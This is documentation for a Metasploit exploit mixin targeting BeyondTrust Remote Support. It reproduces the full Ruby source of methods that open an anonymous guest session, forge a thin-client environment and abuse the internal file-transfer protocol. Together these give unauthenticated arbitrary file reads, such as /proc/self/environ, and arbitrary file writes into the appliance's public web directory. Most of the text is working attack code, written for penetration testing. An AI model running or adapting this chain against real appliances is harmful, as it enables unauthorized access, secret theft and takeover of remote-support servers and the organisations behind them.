Module: Msf::Exploit::Remote::HTTP::Beyondtrust::RemoteSupport

Includes:
Msf::Exploit::Remote::HTTP::Beyondtrust, Msf::Exploit::Retry
Defined in:
lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb

Overview

Public guest, MRS, and native file-transfer operations for Remote Support.

Defined Under Namespace

Modules: Fields Classes: MrsClient, MrsStream, ProtocolError, StreamEOF, WebSocketStream

Constant Summary collapse

MAIN_HANDLER =

The 24.1.2 main thin-worker dispatcher differs from its advertised FTS handler.

2048
LOCAL_ROUTER =
1
MAX_MESSAGE =
4 * 1024 * 1024
HEADER_SIZE =
36

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Retry

#poll_until_truthy, #retry_until_truthy

Methods included from Msf::Exploit::Remote::HTTP::Beyondtrust

#get_site_info, #get_site_info_via_download_client_connector, #get_site_info_via_mech_list, #get_version, #initialize, #module_error, #parse_mech_list_json, #parse_mech_list_text

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #sslkeylogfile, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from CertificateTrace

#certificate_csr_trace, #certificate_peer_cert_trace, #certificate_trace, #certificate_trace_enabled?, #initialize

Methods included from Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options, #kerberos_clock_skew_seconds

Methods included from Kerberos::Ticket::Storage

#initialize, #kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#remote_support_guest(issue:) ⇒ String

Returns fresh anonymous customer key.

Parameters:

  • issue (Integer) —

    public issue-menu identifier

Returns:

  • (String) —

    fresh anonymous customer key

Raises:



397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 397

def remote_support_guest(issue:)
  response = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'api', 'start_session'),
    'vars_post' => {
      'issue_menu' => '1', 'id' => issue.to_s, 'c2cjs' => '1', 'platform' => 'thin',
      'internal.customer_name' => Faker::Internet.username
    }
  )
  raise ProtocolError, 'Public session creation did not respond' unless response
  raise ProtocolError, "Public session creation returned HTTP #{response.code}" unless [200, 302].include?(response.code)

  key = [response.body, response.headers['Location']].compact.join.match(%r{/chat/html/([a-f0-9]{32})})&.[](1)
  if key.nil? && !ssl && response.code == 302 && response.headers['Location'].to_s.start_with?('https://')
    raise ProtocolError, 'Public session creation redirected to HTTPS; set SSL true and RPORT to the appliance HTTPS port (usually 443)'
  end
  raise ProtocolError, 'No public session key was returned; check ISSUE and public session settings' unless key

  key
end

#remote_support_mrs(wire:, key:) ⇒ Hash

Returns MRS client and prepared customer mailbox.

Parameters:

  • wire (WebSocketStream) —

    native customer transport

  • key (String) —

    fresh anonymous key

Returns:

  • (Hash) —

    MRS client and prepared customer mailbox

Raises:



436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 436

def remote_support_mrs(wire:, key:)
  raise ProtocolError, 'Unexpected customer banner' unless wire.line.match?(/\A\d+\.\d+\.\d+;/)

  wire.write("good\n")
  wire.write("#{Fields.encode('sessionKey' => key, 'sessionKeyRotateCount' => 0, 'platform' => 'linux-x86', 'startMethodHint' => 'issue_menu')}\n")
  raise ProtocolError, 'The public customer key was rejected' unless wire.line.start_with?('0 Authenticated')

  wire.write("no update token needed\n")
  client = MrsClient.new(wire)
  preparation = client.connect_stream(client.listener)
  handler = client.allocate_handler
  preparation.write("#{client.address(handler)}\n")
  preparation.write("private_ip=192.0.2.1;hostname=#{Faker::Internet.domain_word};os=linux;locale_code=en-us\n")
  raise ProtocolError, 'Native customer preparation failed' unless preparation.line == '0 Successful'

  { client: client, handler: handler }
end

#remote_support_public_directory(client:, worker:) ⇒ String

Returns exact native public directory from the worker's environment.

Parameters:

  • client (MrsClient) —

    prepared native customer

  • worker (Hash) —

    worker address and conference key

Returns:

  • (String) —

    exact native public directory from the worker's environment

Raises:

  • (ProtocolError) —

    if no absolute application root can be discovered



609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 609

def remote_support_public_directory(client:, worker:)
  environment = remote_support_read(client: client, worker: worker, path: '/proc/self/environ', max_bytes: 65_536)
  values = environment.split("\x00").filter_map do |entry|
    key, value = entry.split('=', 2)
    [key, value] if %w[BG_app_root BRAIN_MELD_SOCKET_PATH].include?(key)
  end.to_h
  root = values['BG_app_root'].presence
  # thin-scc-wrapper exports this socket path beneath the same application root.
  socket_suffix = '/data/tmp/brain.sock'
  socket = values['BRAIN_MELD_SOCKET_PATH']
  root ||= socket.delete_suffix(socket_suffix) if socket&.end_with?(socket_suffix)
  unless root.is_a?(String) && root.match?(%r{\A/[^\x00\r\n]+\z})
    raise ProtocolError, 'Could not discover an absolute application root from the worker environment; set WritableDir'
  end

  "#{root.delete_suffix('/')}/app/www/public"
end

#remote_support_read(client:, worker:, path:, max_bytes:) ⇒ String

Returns file contents, including unsized procfs data.

Parameters:

  • client (MrsClient) —

    prepared native customer

  • worker (Hash) —

    worker address and conference key

  • path (String) —

    single native source file

  • max_bytes (Integer) —

    maximum accepted uncompressed bytes

Returns:

  • (String) —

    file contents, including unsized procfs data

Raises:



557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 557

def remote_support_read(client:, worker:, path:, max_bytes:)
  listener = client.allocate_handler
  destination = Rex::Text.rand_text_alpha_lower(16)
  fields = {
    'ckey' => worker.fetch(:ckey), 'action' => 'UploadFiles', 'ftsName' => 'local',
    'serverAddress' => client.address(listener), 'localFullPaths' => path,
    'remoteFullPath' => destination, 'wantOverwritePrompts' => 0, 'enableResume' => 0
  }
  client.send_message(worker.fetch(:address), "LocalFileTransfer\n#{Fields.encode(fields)}", source_router: LOCAL_ROUTER)
  control = client.accept_stream(listener)
  request = control.request
  raise ProtocolError, 'Unexpected native file upload request' unless request['request'] == 'put files'

  control.compress
  listener = client.allocate_handler
  control.write("#{client.address(listener)}\n")
  data = client.accept_stream(listener)
  data.compress
  raise ProtocolError, 'Expected exactly one native source file' unless control.line == '1'

  size = control.line
  unless size.match?(/\A\d+\z/) && size.to_i <= max_bytes
    raise ProtocolError, 'Native source file has an invalid or oversized length'
  end

  control.line # Source path list; the per-file request below must match exactly.
  control.write("unix\n#{destination}\nfile\n")
  control.line # Sender's resolved destination list.
   = Fields.decode(control.line)
  unless ['cmd'] == 'want file?' && ['src_filename'] == path
    raise ProtocolError, 'Native transfer did not offer the requested source file'
  end

  control.write("#{Fields.encode('cmd' => 'do want file', 'jump_to' => 0, 'use_content_relay' => 0)}\n")
  raise ProtocolError, 'Native source file transfer did not begin' unless Fields.decode(control.line)['cmd'] == 'begin file'
  raise ProtocolError, 'Native source file transfer did not finish' unless control.line == 'finished'

  control.write("status=good\n")
  # The worker closes the data stream after this acknowledgement. Reading the
  # advertised size would silently discard /proc/self/environ (stat size zero).
  content = data.read_to_eof(max_bytes: max_bytes)
  control.finish
  data.finish
  content
ensure
  remote_support_close_streams(control, data)
end

#remote_support_thin(wire:, key:) ⇒ Thread

Returns acknowledgement thread; caller closes the wire and stops it.

Parameters:

  • wire (WebSocketStream) —

    thin customer transport

  • key (String) —

    fresh anonymous key

Returns:

  • (Thread) —

    acknowledgement thread; caller closes the wire and stops it

Raises:



469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 469

def remote_support_thin(wire:, key:)
  raise ProtocolError, 'Unexpected thin customer protocol version' unless wire.line == '2'

  wire.write("2\n\nen-us\n0\n#{key}\n")
  raise ProtocolError, 'Thin customer session was rejected' unless wire.line == '0 success'

  wire.line # Per-worker thinMint, not an account credential.
  # This is the browser customer's thin-protocol environment, not the appliance's process environment.
  # IDs and browser capability/version values come from ThinEnvironment and ProtocolManager in the
  # 24.1.2 /chat/src_app_app_worker_ts.1548caf003accf7b.js bundle; host/name metadata is synthetic.
  # Keep the profile used for full-chain validation. Reduced profiles have only been tested for
  # native file reads on 24.1.2; compatibility with other application releases is not established.
  environment = {
    1 => '2.2.2', # ENV_CLIENT_VERSION: browser-client version, not the appliance application version.
    14 => '0', # ENV_AV_SHELL: no shell through the browser client.
    81 => 'sdcust', # ENV_NLS_NAME: customer-client localization namespace.
    12 => '0', # ENV_CAP_NSTV: no browser screen sharing.
    21 => '0', # ENV_CAP_ZLIB: no thin-protocol compression; separate from MRS file-stream DEFLATE.
    131347 => '0', # ENV_CAP_NSTV_CONTROL: no remote screen control.
    13 => '1', # ENV_CAP_STATUS: status capability enabled.
    15 => '0', # ENV_AV_SYSINFO: no system-information feature through the browser client.
    16 => '0', # ENV_AV_ELEVATE: no elevation to the full customer client.
    17 => '0', # ENV_CAP_PROMPT: client prompt capability disabled.
    11 => '0', # ENV_AV_FILE: no browser file-transfer feature; does not authorize the native MRS service.
    61 => '0x81410004', # ENV_OS_TYPE: fixed marker used by the vendor's browser client.
    63 => Faker::Internet.domain_word, # ENV_OS_NAME: reported platform/display metadata.
    65 => Faker::Internet.domain_word, # ENV_USER_HOST: reported customer hostname.
    66 => Faker::Internet.username, # ENV_USER_NAME: customer display name, supplied without a name dialog.
    131635 => '0', # ENV_CAP_PUSHURL: URL-push capability disabled.
    82 => '0', # ENV_TIME_OFFSET: UTC offset in seconds (zero selects UTC).
    131431 => '1', # ENV_USE_SOCKETTIMEOUT: request socket-timeout handling.
    0 => '' # ENV_RESERVED: included by the browser's controlFlushEnvironment call.
  }
  body = remote_support_varint(environment.length)
  environment.each do |identifier, value|
    body << remote_support_varint(identifier) << remote_support_varint(value.bytesize) << value
  end
  # thinControlSetEnvironment is message 14 in the thinSLOW (128) message class.
  head = remote_support_varint(142) + remote_support_varint(body.bytesize)
  wire.write([head.bytesize].pack('C') + head + body)

  Rex::ThreadFactory.spawn('BeyondTrustThinAcknowledgements', false) do
    loop do
      header = wire.read(wire.read(1).unpack1('C'))
      fields = thin_header(header)
      data = wire.read(fields.fetch(1))
      if fields.first == 1
        acknowledgement = [2, 1, fields.fetch(2), 1].map { |item| remote_support_varint(item) }.join
        wire.write([acknowledgement.bytesize].pack('C') + acknowledgement + "\x00")
      elsif fields.first == 11
        reply_header = remote_support_varint(12) + remote_support_varint(data.bytesize)
        wire.write([reply_header.bytesize].pack('C') + reply_header + data)
      end
    end
  rescue ProtocolError, IOError => e
    vprint_status("Thin customer connection stopped: #{e.message}")
  end
end

#remote_support_transport(site:, thin: false) ⇒ WebSocketStream

Returns newly opened transport owned by caller.

Parameters:

  • site (Hash) —

    company and server from get_site_info

  • thin (Boolean) (defaults to: false) —

    select thin customer protocol

Returns:



421
422
423
424
425
426
427
428
429
430
431
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 421

def remote_support_transport(site:, thin: false)
  headers = { 'Sec-WebSocket-Protocol' => "ingredi support desk customer#{thin ? ' thin' : ''}" }
  if site[:company].present?
    headers['X-Ns-Company'] = site[:company]
  elsif site[:server].present?
    headers['Host'] = site[:server]
  else
    raise ProtocolError, 'The Remote Support company or site hostname could not be discovered'
  end
  WebSocketStream.new(connect_ws('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nw'), 'headers' => headers))
end

#remote_support_varint(value) ⇒ String

Returns most-significant-group-first base-128 representation.

Parameters:

  • value (Integer) —

    nonnegative thin-protocol integer

Returns:

  • (String) —

    most-significant-group-first base-128 representation

Raises:

  • (ArgumentError)


456
457
458
459
460
461
462
463
464
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 456

def remote_support_varint(value)
  raise ArgumentError, 'Negative thin protocol integer' if value.negative?

  groups = [value & 0x7f]
  while (value >>= 7).positive?
    groups.unshift((value & 0x7f) | 0x80)
  end
  groups.pack('C*')
end

#remote_support_version ⇒ Rex::Version?

Returns discovered product version.

Returns:



388
389
390
391
392
393
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 388

def remote_support_version
  value = get_version
  return unless value.is_a?(String) && value.match?(/\A\d+\.\d+\.\d+(?:\.\d+)?\z/)

  Rex::Version.new(value)
end

#remote_support_worker(client:, handler:, key:) ⇒ Hash

Returns worker address and conference key.

Parameters:

  • client (MrsClient) —

    prepared customer connection

  • handler (Integer) —

    mailbox for Director responses

  • key (String) —

    attacker's thin customer key

Returns:

  • (Hash) —

    worker address and conference key

Raises:



532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 532

def remote_support_worker(client:, handler:, key:)
  brain = MrsClient.parse_address(client.properties['brain_address'])
  result = retry_until_truthy(timeout: 15) do
    client.send_message(brain, "Director\n#{Fields.encode('action' => 'GetGatewaySessionValues', 'gskey' => key, 'responseAddress' => client.address(handler))}")
    payload = client.receive(handler)[:payload]
    next unless payload.start_with?("Director\n")

    response = Fields.decode(payload.split("\n", 2).last)
    values = Fields.decode(response.fetch('private', ''))
    next if values['fts_address'].blank? || values['ckey'].blank?

    address = MrsClient.parse_address(values['fts_address'])
    { address: [address[0], address[1], MAIN_HANDLER], ckey: values['ckey'] }
  end
  raise ProtocolError, 'The thin worker did not publish its file-transfer address' unless result

  result
end

#remote_support_write(client:, worker:, path:, content:) ⇒ Boolean

Returns true after transfer completion acknowledgement.

Parameters:

  • client (MrsClient) —

    prepared native customer

  • worker (Hash) —

    worker address and conference key

  • path (String) —

    native destination

  • content (String) —

    complete file bytes

Returns:

  • (Boolean) —

    true after transfer completion acknowledgement



632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
# File 'lib/msf/core/exploit/remote/http/beyondtrust/remote_support.rb', line 632

def remote_support_write(client:, worker:, path:, content:)
  listener = client.allocate_handler
  token = Rex::Text.rand_text_alphanumeric(24)
  fields = {
    'ckey' => worker.fetch(:ckey), 'action' => 'DownloadAnonymousFiles', 'ftsName' => 'local',
    'serverAddress' => client.address(listener), 'downloadToken' => token, 'path' => path,
    'wantOverwritePrompts' => 0, 'enableResume' => 0
  }
  # Reserved router 1 survives ingress and is accepted as local by thin-scc.
  client.send_message(worker.fetch(:address), "LocalFileTransfer\n#{Fields.encode(fields)}", source_router: LOCAL_ROUTER)
  control = client.accept_stream(listener)
  request = control.request
  unless request['request'] == 'get anonymous file' && request['token'] == token
    raise ProtocolError, 'Unexpected anonymous file request from the worker'
  end

  control.compress
  data = client.connect_stream(control.line)
  data.compress
   = Fields.encode('cmd' => 'want file?', 'src_filename' => File.basename(path), 'dest_filename' => path,
                           'src_filesize' => content.bytesize, 'src_filedate' => '', 'enable_resume' => 0, 'preserveFileInfo' => 0)
  control.write("1\n#{content.bytesize}\n#{File.basename(path)}\n#{path}\n#{}\n")
  control.line # Receiver OS.
  control.line # Receiver path.
  raise ProtocolError, 'The destination is not a native file' unless control.line == 'file'

  reply = Fields.decode(control.line)
  raise ProtocolError, "The worker rejected the destination: #{reply['failureReason'] || reply['cmd']}" unless reply['cmd'] == 'do want file'

  control.write("#{Fields.encode('cmd' => 'begin file', 'use_content_relay' => 0)}\n")
  content.bytes.each_slice(16_384) { |chunk| data.write(chunk.pack('C*')) }
  control.write("finished\n")
  reply = Fields.decode(control.line)
  raise ProtocolError, "Native file transfer failed: #{reply['status']}" unless reply['status'] == 'good'

  control.finish
  data.finish
  true
ensure
  remote_support_close_streams(control, data)
end